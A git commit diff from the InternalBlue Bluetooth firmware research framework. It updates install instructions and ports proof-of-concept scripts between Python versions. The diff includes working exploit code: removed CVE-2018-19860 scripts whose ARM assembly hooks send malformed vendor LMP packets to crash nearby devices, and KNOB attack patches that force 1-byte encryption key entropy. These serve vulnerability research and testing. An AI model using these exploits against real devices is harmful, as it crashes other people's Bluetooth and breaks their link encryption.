1 Commits

Author SHA1 Message Date
Dennis Heinze 065cd011be Fix usbmux Binary and Plist protocol interoperability 2020-03-24 00:31:45 +01:00
36 changed files with 152 additions and 813 deletions
+11 -44
View File
@@ -159,48 +159,12 @@ to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The InternalBlue framework supports and requires Python 3.6 and above.
### Install from PyPI
The InternalBlue framework is written in Python 2. You can install it together
with all dependencies by using pip:
Currently there is no package published on PyPI for Python 3, this will happen in the near future.
### Install as package from GitHub `master` or any other branch
```sh
pip install https://github.com/seemoo-lab/internalblue/archive/master.zip
```
This will download the contents of current master as a zip archive and install them via pip.
No local checkout of the git will exist.
If you want to update you need to run:
```sh
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
```
### Development Install
If you except that you might want to read the code locally, debug it
or possibly change it you should setup an editable install.
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
pip install --editable ./
```
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
You can now git pull, change branches or fork to submit your own branches:
```sh
git pull # Update current branch
git checkout origin/$featurebranch # Test some feature or bugfix branch
hub fork # requires https://github.com/cli/cli to be set up before
git checkout -b $your_new_feature_branch
```
### Dependencies
git clone https://github.com/seemoo-lab/internalblue.git
cd internalblue
pip install .
It will install the following dependencies:
* pwntools
@@ -218,7 +182,10 @@ of your Linux distribution:
All steps on a plain Ubuntu 18.04:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
sudo pip install .
cd ..
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
@@ -229,10 +196,10 @@ All steps on a plain Ubuntu 18.04:
make
make install
Packets required on a current (March 2020) Raspbian:
Packets required on a current (July 2019) Raspian:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python3-setuptools binutils-arm-none-eabi adb python3-pip python3-dev gcc libffi-dev
sudo apt-get install git python-setuptools binutils-arm-none-eabi adb python-pip python-dev gcc libffi-dev
-12
View File
@@ -10,18 +10,6 @@ Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
LMP to HCI Handler Escalation Attack Test (CVE-2018-19860)
----------------------------------------------------------
This is an easy-to-use PoC for CVE-2018-19860. It sends multiple LMP messages with opcode 0 (Broadcom vendor-specific).
If the following byte, the vendor-specific opcode, is out of range of BPCS (larger than 6), vulnerable devices
interpret the memory located after the LMP BPCS handler table as further handlers. On many devices, HCI handlers
are located here, which lets an attacker call HCI via LMP, thus, resulting in limited code execution capabilities.
Invalid "handler" addresses in that memory range or invalid parameters passed to HCI handlers will cause Bluetooth
on the device under attack to crash. This PoC installs an Assembly snippet that sends multiple invalid LMP BPCS packets
before establishing connections. If an attacker connects to the device under test using the normal Android/Linux user
interface and the connection succeeds, the device is likely not vulnerable (you need to adapt the BPCS range in
some cases). If Bluetooth crashes, it is vulnerable. Currently only available for the
[Nexus 5](nexus5/CVE_2018_19860_Crash_on_Connect.py) and the [CYW20735 evaluation board](eval_cyw20735/CVE_2018_19860_Crash_on_Connect.py).
Invalid Curve Attack Test (CVE-2018-5383)
-----------------------------------------
@@ -1,163 +0,0 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
# PoC for CVE-2018-19860
import sys
from pwn import *
from internalblue.hcicore import HCICore
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify lm_SendLmpHostConnectionReq, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0xABDF6 # This function is in ROM, lm_SendLmpHostConnectionReq
ASM_LOCATION_VSC_EXISTS = 0x00218300
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 # TODO change this depending on fuzz range
LMP_VSC_CMD_END = 0x09 # TODO change this depending on fuzz range
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
push {r5-r6, lr} // backup registers
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
// proceed as in original function lm_SendLmpHostConnectionReq
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
pop {r5-r6, lr} // restore registers
b 0xABE78 // address from where lm_SendLmpHostConnectionReq was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x8691E // lm_allocLmpBlock
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
//mov r1, 0x4242
//str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0x3453E // branch to DHM_LMPTx. DHM_LMPTx will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00218200
HOOK_LMP_00_LOOKUP = 0x203dfc # This function already provides a hook, lm_BPCS_GetLmpInfoTypeFilter
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
// dummy table entry
.align
table:
.byte 0x6b // just a nullsub (bx lr at 0x46a+1)
.byte 0x04
.byte 0x00
.byte 0x00
.byte 0x10 // length
.byte 0x00
.byte 0x00
.byte 0x01
"""
internalblue = HCICore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("Installing assembly patches to crash other device on connect requests...")
# Older devices like the Nexus 5 only accept LMP BPCS from Broadcom,
# they don't know about Cypress yet...
progress_log = log.info("Changing vendor ID from Cypress to Broadcom.")
if not internalblue.writeMem(address=0x2020f0, data='\x0f\x00\x00\x00', progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Writing ASM snippet for LMP BPSC table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Installing predefined hook for LMP BPSC table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
progress_log = log.info("Writing ASM snippet for LMP BPSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
log.info("Installing LMP BPSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
log.critical("error!")
exit(-1)
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
log.info("------------------")
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
+10 -56
View File
@@ -1,9 +1,11 @@
#!/usr/bin/env python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -30,65 +32,17 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x7402A) # connection struct key entropy
internalblue.patchRom(Address(0x7402A), patch)
internalblue.patchRom(0x7402A, patch)
# modify global variable for own setting
internalblue.writeMem(0x280F13, b'\x01') # global key entropy
internalblue.writeMem(0x280F13, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
"For more details, see special instructions for BlueZ.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+8 -8
View File
@@ -1,14 +1,14 @@
#!/usr/bin/env python3
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Nexus 5 for BLE connection events
from builtins import range
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.hci as hci
import internalblue.cli as cli
from internalblue.utils.pwnlib_wrapper import log, asm, u8, u16
internalblue = ADBCore(serial=False)
device_list = internalblue.device_list()
@@ -118,7 +118,7 @@ def lereceiveStatusCallback(record):
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.data[0:4] == b'RXDN':
if hcipkt.data[0:4] == "RXDN":
data = hcipkt.data[4:]
# Raspi 3 gets errors
@@ -126,11 +126,11 @@ def lereceiveStatusCallback(record):
return
# !!! Nexus 5 has really outdated struct...
packet_curr_nesn_sn = data[0xa0]
packet_curr_nesn_sn = u8(data[0xa0])
packet_channel_map = data[0x4c:0x4c+38]
packet_channel = data[0x7b]
packet_channel = u8(data[0x7b])
packet_event_ctr = u16(data[0x86:0x88])
packet_rssi = data[0]
packet_rssi = u8(data[0])
if internalblue.last_nesn_sn and ((internalblue.last_nesn_sn ^ packet_curr_nesn_sn) & 0b1100) != 0b1100:
log.info(" ^----------------------------- ERROR --------------------------------")
@@ -153,11 +153,11 @@ def lereceiveStatusCallback(record):
elif packet_rssi < 0xc0:
color = '\033[91m' # red
channels_total = packet_channel_map[37]
channels_total = u8(packet_channel_map[37])
channel_map = 0x0000000000
if channels_total <= 37: # raspi 3 messes up with this during blacklisting
for channel in range(0, channels_total):
channel_map |= (0b1 << 39) >> packet_channel_map[channel]
channel_map |= (0b1 << 39) >> u8(packet_channel_map[channel])
log.info("LE event %5d, map %10x, RSSI %d: %s%s*\033[0m " % (packet_event_ctr, channel_map,
(packet_rssi & 0x7f) - (128 * (packet_rssi >> 7)),
@@ -1,160 +0,0 @@
#!/usr/bin/python3
# Jiska Classen, Secure Mobile Networking Lab
import sys
from pwn import *
from internalblue.adbcore import ADBCore
"""
This is a crash only test for CVE-2018-19860. Install this patch and connect
to any device. If the target device Bluetooth chip crashes upon connection,
it is vulnerable. If not, it is likely not, but to be sure, adapt the value for
`LMP_VSC_CMD_START` and `LMP_VSC_CMD_END`.
This snippet modifies connection establishment. To be still compatible with
scanning for devices, feature_req and name_req should not be modified.
We modify send_LMP_host_connection_req_586E6, which is only triggered when
clicking on another device to establish a connection. Then we launch the attack
that tries vendor specific LMP commands LMP_VSC_ff ... LMP_VSC_00.
TODO
After ~24 commands, this cannot be repeated any more. Tapping again too early
crashes the driver. Long waiting loops don't help. A good workaround is to
loop from LMP_VSC_0a to LMP VSC 00, which is enough to see if LMP VSC are
implemented (LMP_VSC_03 will be replied with LMP_VSC_05) and if the device
is vulnerable (LMP_VSC_0a will not be answered) or not vulnerable (LMP_VSC_0a
will be replied with LMP_not_accepted).
"""
HOOK_VSC_EXISTS = 0x586E6 # This function is in ROM
ASM_LOCATION_VSC_EXISTS = 0x00211900 # 0xD5900
LMP_VSC_CMD_START = 0x0f #0xcf #0x52 #FIXME change range for LMP crash in case it didn't crash here
LMP_VSC_CMD_END = 0x06
ASM_SNIPPET_VSC_EXISTS = """
b vsc_iterate
b send_lmp
vsc_iterate:
mov r5, 0x%02x00 // 4 byte reverse order LMP, starting with LMP VSC 00 ff
mov r6, r0 // backup connection struct
loop:
mov r0, r6 // restore connection struct
bl send_lmp
subs r5, 0x00000100 // iterate through VSC LMP commands until VSC 00 00
cmp r5, 0x%02x00 // loop exit condition
bne loop
//proceed as in original function send_LMP_host_connection_req_586E6
mov r0, r6 // restore connection struct
mov r5, 0x00000066 // LMP_host_connection_req << 1
bl send_lmp
b 0x58760 // address from where send_LMP_host_connection_req_586E6 was called
//pass connection struct in r0 and lmp data in r5
send_lmp:
push {r4-r5,lr}
mov r4, r0 // store connection struct copy to r4
// malloc buffer for LMP packet
bl 0x3F17E // malloc_0x20_bloc_buffer_memzero
// fill buffer
str r5, [r0, 0xc] // The actual LMP packet must start at offset 0xC in the buffer.
//// add some more bytes if needed
mov r1, 0x4242
str r1, [r0, 0xe]
mov r1, r0 // move lmp packet buffer into r1
mov r0, r4 // restore connection struct
pop {r4-r5,lr} // restore r4 and the lr
b 0xf81a // branch to send_LMP_packet. send_LMP_packet will do the return for us.
""" % (LMP_VSC_CMD_START, LMP_VSC_CMD_END)
"""
When sending LMP commands, lookup tables are used to determine length and other
function parameters. However, as we use undefined commands, some of them seem
never to be sent. The table lookup simply is nonsense here... so we patch around
this.
"""
ASM_LOCATION_LMP_00_LOOKUP = 0x00211800 # 0xD5700
HOOK_LMP_00_LOOKUP = 0x2008B4 # This function already provides a hook for the LMP handlers
ASM_SNIPPET_LMP_00_LOOKUP = """
ldr r0, =table
bx lr
//dummy table entry
.align
table:
.byte 0x35 //nullsub1+1
.byte 0xAC
.byte 0x00
.byte 0x00
.byte 0x10 //length
.byte 0x00
.byte 0x00
.byte 0x00
"""
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
# setup sockets
if not internalblue.connect():
log.critical("No connection to target device.")
exit(-1)
progress_log = log.info("installing assembly patches to crash other device on connect requests...")
#progress_log = log.info("Writing ASM snippet for LMP 00 table lookup.")
code = asm(ASM_SNIPPET_LMP_00_LOOKUP, vma=ASM_LOCATION_LMP_00_LOOKUP)
if not internalblue.writeMem(address=ASM_LOCATION_LMP_00_LOOKUP, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
#progress_log = log.info("Installing predefined hook for LMP table lookup.")
if not internalblue.writeMem(address=HOOK_LMP_00_LOOKUP, data=p32(ASM_LOCATION_LMP_00_LOOKUP + 1), progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
#progress_log = log.info("Writing ASM snippet for LMP VSC existence check.")
code = asm(ASM_SNIPPET_VSC_EXISTS, vma=ASM_LOCATION_VSC_EXISTS)
if not internalblue.writeMem(address=ASM_LOCATION_VSC_EXISTS, data=code, progress_log=progress_log):
progress_log.critical("error!")
exit(-1)
# all send_lmp functions are in rom...
#log.info("Installing LMP VSC existence hook patch...")
patch = asm("b 0x%x" % ASM_LOCATION_VSC_EXISTS, vma=HOOK_VSC_EXISTS)
if not internalblue.patchRom(HOOK_VSC_EXISTS, patch):
log.critical("Installing patch for VSC existence check failed!")
exit(-1)
log.info("Installed all the hooks. You can now establish connections to other devices to check for the LMP CVE.")
# shutdown connection
internalblue.shutdown()
log.info("------------------")
log.info("To test the vulnerability, establish a classic Bluetooth connection to the target device. Eventually try different values for LMP_VSC_CMD_*.")
@@ -1,9 +1,10 @@
#!/usr/bin/env python2
# Dennis Mantz
from internalblue import Address
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
#internalblue = core.InternalBlue()
internalblue = ADBCore()
@@ -14,9 +15,9 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
PK_RECV_HOOK_ADDRESS = Address(0x2FED8)
PK_SEND_HOOK_ADDRESS = Address(0x030098)
GEN_PRIV_KEY_ADDRESS = Address(0x48eba)
PK_RECV_HOOK_ADDRESS = 0x2FED8
PK_SEND_HOOK_ADDRESS = 0x030098
GEN_PRIV_KEY_ADDRESS = 0x48eba
HOOKS_LOCATION = 0xd7800
ASM_HOOKS = """
b pk_recv_hook
+10 -8
View File
@@ -1,13 +1,15 @@
#!/usr/bin/python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import log, asm, u8, p16, u16
"""
@@ -34,10 +36,10 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x5AED0) # connection struct key entropy
internalblue.patchRom(Address(0x5AED0), patch)
internalblue.patchRom(0x5AED0, patch)
# modify global variable for own setting
internalblue.writeMem(0x203797, b'\x01') # global key entropy
internalblue.writeMem(0x203797, '\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
@@ -65,7 +67,7 @@ class CmdKnob(cmd.Cmd):
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
internalblue.sendHciCommand(0x1408, p16(args.hnd))
return True
@@ -79,12 +81,12 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
return
+7 -7
View File
@@ -1,10 +1,10 @@
#!/usr/bin/env python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
from binascii import unhexlify
"""
Filter connections by MAC address before entering LMP dispatcher.
Enter MAC addresses you trust into whitelist.
@@ -12,8 +12,8 @@ Enter MAC addresses you trust into whitelist.
"""
WHITELIST = ["aabbccddeeff", "133713371337", "affedeadbeef"]
WHITELIST_BYTES = unhexlify(''.join(WHITELIST))[::-1] # change mac addr byte order
HOOK_LMP_FILTER = Address(0x3f3f4) # This function is in ROM
WHITELIST_BYTES = ''.join(WHITELIST).decode("hex")[::-1] # change mac addr byte order
HOOK_LMP_FILTER = 0x3f3f4 # This function is in ROM
ASM_LOCATION_LMP_FILTER = 0x00211900 # 0xD5900
ASM_SNIPPET_LMP_FILTER = """
b lmp_dispatcher_filter
@@ -89,7 +89,7 @@ lmp_dispatcher_filter:
//mac address list
%s
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % x for x in WHITELIST_BYTES]))
""" % (len(WHITELIST), ''.join([".byte 0x%02x\n" % ord(x) for x in WHITELIST_BYTES]))
internalblue = ADBCore()
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
+4 -4
View File
@@ -1,12 +1,12 @@
#!/usr/bin/env python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
import sys
from internalblue import Address
from pwn import *
from internalblue.adbcore import ADBCore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -40,7 +40,7 @@ TODO
"""
HOOK_IO_CAP_RESP = Address(0x303D4) # we just change the complete simple pairing state machine
HOOK_IO_CAP_RESP = 0x303D4 # we just change the complete simple pairing state machine
ASM_LOCATION_IO_CAP_RESP = 0x00211800 #0xd7800
ASM_SNIPPET_IO_CAP_RESP = """
//restore original 8 bytes of instructions which we overwrite by patching a branch into it
+8 -8
View File
@@ -3,12 +3,13 @@
# Jiska Classen, Secure Mobile Networking Lab
from pwn import *
from internalblue.adbcore import ADBCore
import internalblue.cli as cli
import internalblue.cmds as cmd
import internalblue.hci as hci
from internalblue.cmds import auto_int
from internalblue.utils.pwnlib_wrapper import u8, p16, u16, log
"""
This is a standalone PoC for the KNOB attack on a Nexus 6P.
@@ -38,8 +39,7 @@ log.info("Installing patch which ensures that send_LMP_encryption_key_size_req i
# this somehow crashes on the Nexus 6P, but the global variable seems to be sufficient :)
# modify global variable for own setting
internalblue.writeMem(0x204147, b'\x01') # global key entropy
internalblue.writeMem(0x204147, '\x01') # global key entropy
log.info("-----------------------KNOB-----------------------\n"
@@ -49,8 +49,8 @@ log.info("-----------------------KNOB-----------------------\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
" knob --hnd 0x0b\n"
"...shows the key size of handle 0x000b.\n")
class CmdKnob(cmd.Cmd):
@@ -67,7 +67,7 @@ class CmdKnob(cmd.Cmd):
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
internalblue.sendHciCommand(0x1408, p16(args.hnd))
return True
@@ -81,12 +81,12 @@ def hciKnobCallback(record):
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
if u8(hcipkt.data[3]) == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), u8(hcipkt.data[6])))
return
+5 -4
View File
@@ -1,11 +1,12 @@
#!/usr/bin/env python3
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from internalblue import Address
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
@@ -15,7 +16,7 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = Address(0x35fbc) # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = 0x35fbc # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
+9 -57
View File
@@ -1,8 +1,9 @@
#!/usr/bin/python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from internalblue.utils.pwnlib_wrapper import log, asm
from pwn import *
from internalblue.hcicore import HCICore
@@ -31,66 +32,17 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
internalblue.patchRom(Address(0x689F0), patch)
internalblue.patchRom(0x689F0, patch)
# modify global variable for own setting
internalblue.writeMem(0x204127, b'\x01') # global key entropy
internalblue.writeMem(0x204127, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
"For more details, see special instructions for BlueZ.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
" - Did you already negotiate an encrypted connection?\n"
" - Did you choose the correct connection handle?\n")
else:
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
return
# add our command
cmd.CmdKnob = CmdKnob
internalblue.registerHciCallback(hciKnobCallback)
# enter CLI
cli.commandLoop(internalblue)
+5 -4
View File
@@ -1,11 +1,12 @@
#!/usr/bin/env python3
#!/usr/bin/env python2
# Jiska Classen
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
from internalblue import Address
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
internalblue = HCICore()
device_list = internalblue.device_list()
@@ -15,7 +16,7 @@ if len(device_list) == 0:
internalblue.interface = device_list[0][1] # just use the first device
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
RX_DONE_HOOK_ADDRESS = 0x56622 # _connTaskRxDone
HOOKS_LOCATION = 0x210500
ASM_HOOKS = """
+10 -57
View File
@@ -1,9 +1,11 @@
#!/usr/bin/python3
#!/usr/bin/python2
# Jiska Classen, Secure Mobile Networking Lab
from internalblue import Address
from pwn import *
from internalblue.hcicore import HCICore
from internalblue.utils.pwnlib_wrapper import log, asm
"""
@@ -30,66 +32,17 @@ log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req i
# modify function lm_SendLmpEncryptKeySizeReq
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
internalblue.patchRom(Address(0x3B3D4), patch)
internalblue.patchRom(0x3B3D4, patch)
# modify global variable for own setting
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
internalblue.writeMem(0x204A5F, '\x01') # global key entropy
internalblue.shutdown()
exit(-1)
log.info("-----------------------\n"
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
"For more details, see special instructions for BlueZ.\n"
"-----------------------KNOB-----------------------\n"
"Automatically continuing on KNOB interface...\n"
"Use the 'knob' command to *debug* the attack, i.e.:\n"
" knob --hnd 0x0c\n"
"...shows the key size of handle 0x000c.\n")
"For more details, see special instructions for BlueZ.\n")
class CmdKnob(cmd.Cmd):
"""
Introduce a new CLI command to make KNOB debugging easier...
"""
keywords = ["knob"]
description = "Debugs which key length is currently active within a connection handle."
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
parser.add_argument("--hnd", type=auto_int, default=0x000c,
help="Handle KNOB connection.")
def work(self):
args = self.getArgs()
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
return True
def hciKnobCallback(record):
"""
Adds a new callback function so that we do not need to call Wireshark.
"""
hcipkt = record[0]
if not issubclass(hcipkt.__class__, hci.HCI_Event):
return
if hcipkt.event_code == 0x0e:
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
if hcipkt.data[3] == 0x12: # Error
log.info("No key size available.\n"
